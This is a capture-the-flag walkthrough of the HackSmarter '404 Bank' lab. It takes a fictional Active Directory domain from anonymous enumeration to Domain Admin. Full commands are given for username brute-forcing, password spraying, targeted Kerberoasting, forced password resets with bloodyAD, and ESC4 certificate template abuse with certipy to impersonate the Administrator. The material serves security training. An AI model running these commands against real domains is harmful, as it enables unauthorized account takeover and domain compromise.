HackSmarter 404 Bank Walkthrough

Scenario :

404 Bank, a staple of the local financial community, is conducting its annual security assessment. To uphold their motto of being “Proven, Local, Strong,” the bank has commissioned the Hack Smarter Red Team to perform an internal penetration test.

Solution :

First thing first , we start with an nmap scan :

nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN Open_Ports.txt && sleep 5 && nmap -Pn $target -sV -sC -v -oN Nmap_sV_sC_Results.txt && sleep 5 && nmap -T5 -Pn $target -v --script vuln -oN Nmap_Vuln_Results.txt

We can tell this is the DC since it has kerberos open , ldap , and DNS as well , since this is an AD machine , first thing i like to do is use nxc to get the Domain name as well as the hostname and add them to our hosts file .

This is an AD machine so i always follow this quick checklist from my methdology :

Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .

Now first thing we should try is to generate a list of valid usernames via anonymous access, for this i like to use nxc :

As we can see , we can’t get any users via anonymous access , and the guest account is disabled , i tried connecting via RPC as well but couldn’t get a list of usernames that way either , we can’t list shares anonymously as well .

let’s check the website .

If we visit the website , we get a list of usernames that we can use to generate a wordlist that we can test using Kerbrute .

Now to generate a combination ofusernames i like to use this tool :

#https://raw.githubusercontent.com/mohinparamasivam/AD-Username-Generator/refs/heads/master/username-generate.py
python3 username-generator.py -u username.txt -o genrated_username.txt  

First we add all the names we found into a file , then use the tool to generate all possible combinations , and finally we test if these are valid via Kerbrute .

kerbrute userenum generated_usernames.txt --dc $target -d 404finance.local  

Now first thing i would try is ASREPROASTING against these users .

Sadly that didnt work , i also tried checking LDAP using ldapsearch and other tools but that didn’t work as well . let’s enumerate the web app further since this is the only thing we’ve got for now .

We do find an executable , we can download it and run ghidra to reverse engineer it , maybe it has some credentials inside the code , you never know .

Upon opening the file on Gidra we find this string that we can try and decode since it looks like Base64 .

Upon decoding it we find that the string is in md5 format , which we can crack with john easily . Now we can try to spray this password , we already generated a list of valid usernames .

Perfect , now we’ve got our foothold : “404finance.local\karl.hackermann:Password123!!” , Let’s try kerberoasting now that we’ve got a set of valid creds .

Nothing useful , let’s run Bloodhound and check the shares and winrm access while we wait , commands to setup Bloodhound as well as the ingestor (i use nxc to generate the ZIP file) :

# To get the ZIP file :
nxc ldap $target -u 'e.hills' -p 'Il0vemyj0b2025!' --bloodhound --collection All --dns-server $target
# To run BloodHound : 
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login 

Now for the Shares and winrm , our user can’t login via winrm , and for the shares we only find the default ones .

Now let’s take a look at the ACLs on Bloodhound .

Our user has Generic Write over Tom.Reboot , we can try target Kerberoasting , by adding an SPN and then attempting to crack the TGS , a tool that we can use to do this :

git clone https://github.com/ShutdownRepo/targetedKerberoast.git 
cd targetedKerberoast.git
python3 targetedKerberoast.py -v -d '404FINANCE.local' -u 'KARL.HACKERMANN' -p 'Password123!!'

Perfect , now we can try and crack the Hash using John .

Perfect , now we’ve got a new set of credentials : -u tom.reboot -p ‘P@ssw0rd123’ . From Bloodhound , we already know that this user is part of the Certificate Service group . this is always worth investigating since CA group members often have elevated privileges over certificate templates, making it a good reason to run Certipy and check for ESC vulnerabilities.

We can check using certipy :

certipy-ad find  -u tom.reboot -p 'P@ssw0rd123' -dc-ip $target -vulnerable 

Sadly this didn’t return anything useful .

Now going back to Bloodhound , we see that tom.reboot has Force change password over the user ROBERT.GRAEF , to abuse this , we can use net rpc (as mentionned on Bloodhound) .

net rpc password "ROBERT.GRAEF" "Password.123" -U "404FINANCE.LOCAL"/"tom.reboot"%"P@ssw0rd123" -S "DC-404.404finance.local"

Looking back at Bloodhound, we can see that the user Robert has Force Change password on 3 other users and can add members to the Remote Desktop Group .

Now one thing we can try is change the passwords for all 3 users and then add them all to the remote desktop group to be able to login via RDP . To change the passwords either use net rpc or BloodyAD , i already used net rpc on pretty much all of my walkthroughs , so i figured try BloodyAD this time .

bloodyAD --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' set password 'MELANIE.KUNZ' 'WEAK123.' 
bloodyAD --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' set password 'JAN.TRESOR' 'WEAK123.'  
bloodyAD --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' set password 'NINA.INKASSO' 'WEAK123.'

Perfect now we just add these 3 to the RDP group and login via xfreerdp : MELANIE.KUNZ / NINA.INKASSO / JAN.TRESOR

┌──(kali㉿kali)-[~/HackSmarter/404-Bank]
└─$ bloodyad  --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' add groupMember 'REMOTE DESKTOP USERS' 'JAN.TRESOR'
[+] JAN.TRESOR added to REMOTE DESKTOP USERS
                                                                                                                                                             
┌──(kali㉿kali)-[~/HackSmarter/404-Bank]
└─$ bloodyad  --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' add groupMember 'REMOTE DESKTOP USERS' 'NINA.INKASSO'
[+] NINA.INKASSO added to REMOTE DESKTOP USERS
                                                                                                                                                             
┌──(kali㉿kali)-[~/HackSmarter/404-Bank]
└─$ bloodyad  --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' add groupMember 'REMOTE DESKTOP USERS' 'MELANIE.KUNZ'
[+] MELANIE.KUNZ added to REMOTE DESKTOP USERS

I tried login in with all of these , but to save you time , the user JAN.TRESOR had some deleted emails in his recycle bin .

We see that a user named svc.services was disabled due to an ESC vulnerability , and that the user Robert who we already comrpomised can reactivate this account .

The path is pretty clear now , we should find a way to reactivate the account (probably through the use of BloodyAD) and then use certipy to exploit the ESC vulnerability . We can also confirm the fact that we have control over activating the SVC user from Bloodhoud :

bloodyad --host DC-404.404finance.local -d '404finance.local' -u 'ROBERT.GRAEF' -p 'Password.123' remove uac 'svc.services' -f ACCOUNTDISABLE

Now that the account is enabled, we need the password :) .

I tried spraying the passwords we gathered but nothing seems to work . If we check the other recovered emails , we find a password in one of them , we can try spraying this one as well .

Let’s spray this password now : RemoteAccess!2024

Perfect , we have Hoffmann’s password . Just like earlier , let’s add him to the RDP group so that we can connect via RDP , maybe we will find something in the recycle bin :)

Once we connect, we get the user flag on the desktop , looking back at Bloodhound , we see that hoffman has Force change password on the user WebAdmin .

bloodyAD --host DC-404.404finance.local -d '404finance.local' -u 'DANIEL.HOFFMANN' -p 'RemoteAccess!2024' set password 'WEBADMIN' 'WEAK123.' 

Now finally we can login as the WEBADMIN.

Since this is a WEB service account , we should visit /interpub/wwwroot folder , we find a ZIP File that we can transfer back to our machine , we can do that easily since we already have a shared drive between our kali machine and the windows machine .

As we can see it is password protected , we can use john to crack it before unzipping it .

Rockyou didn’t work , for this i decided to use a tool that will crawl the website and generate a custom wordlist that we can try , i used cewl for this :

This cracks it almost immediately :

Inside of the zipfile we find a .dat file that has the password for svc.services user :)

perfect we can verify these creds via nxc then run certpiy :

From certipy result we find that we have an ESC4 or what’s called Template Hijacking that we can abuse to get DA .

certipy-ad find -u 'svc.services' -p 'S3rv1cePower2024!' -dc-ip $target -vulnerable

Now to abuse this i followed the guide on certipy wiki :

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
certipy-ad find -u 'svc.services' -p 'S3rv1cePower2024!' -dc-ip $target -vulnerable

ESC4 occurs when an attacker has write privileges over a certificate template (Write Owner, WriteDacl, WriteProperty, or Full Control). This allows them to modify the template’s settings and introduce misconfigurations , essentially turning a secure template into an ESC1-vulnerable one, and from there requesting a certificate on behalf of any user including a Domain Admin. We first Mofidy the Template to make it Vulnerable .

certipy-ad template \
    -u 'svc.services@404finance.local' -p 'S3rv1cePower2024!' \
    -dc-ip $target -template 'Vuln-ESC4' \  
    -write-default-configuration

From here we can exploit it like a normal ESC1 , we just need the SID of the administrator , we can find it on Bloodhound :)

certipy-ad req \
    -u 'svc.services@404finance.local' -p 'S3rv1cePower2024!' \
    -dc-ip $target -target 'DC-404.404finance.local' \
    -ca '404finance-DC-404-CA' -template 'Vuln-ESC4' \
    -upn 'administrator@404finance.local' -sid 'S-1-5-21-2956725473-317782918-2795636496-500'

certipy-ad auth -pfx 'administrator.pfx' -dc-ip $target 

Now finally we just login via winrm using the Domain Administrator Hash , and from there we get the flag .

That was it for This lab , See you in the next one :)